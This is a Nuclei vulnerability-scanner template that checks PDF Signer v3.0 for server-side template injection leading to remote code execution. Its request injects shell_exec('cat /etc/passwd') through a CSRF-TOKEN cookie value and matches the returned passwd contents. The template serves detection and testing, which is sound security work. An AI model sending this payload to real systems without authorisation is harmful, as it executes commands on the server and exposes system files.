nuclei-templates/vulnerabilities/other/pdf-signer-ssti-to-rce.yaml

id: pdf-signer-ssti-to-rce

info:
  name: PDF Signer v3.0 - SSTI to RCE via CSRF Cookie
  author: madrobot
  severity: high
  tags: ssti,rce,csrf

requests:
  - method: GET
    path:
      - "{{BaseURL}}"
    headers:
      Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl"

    skip-variables-check: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body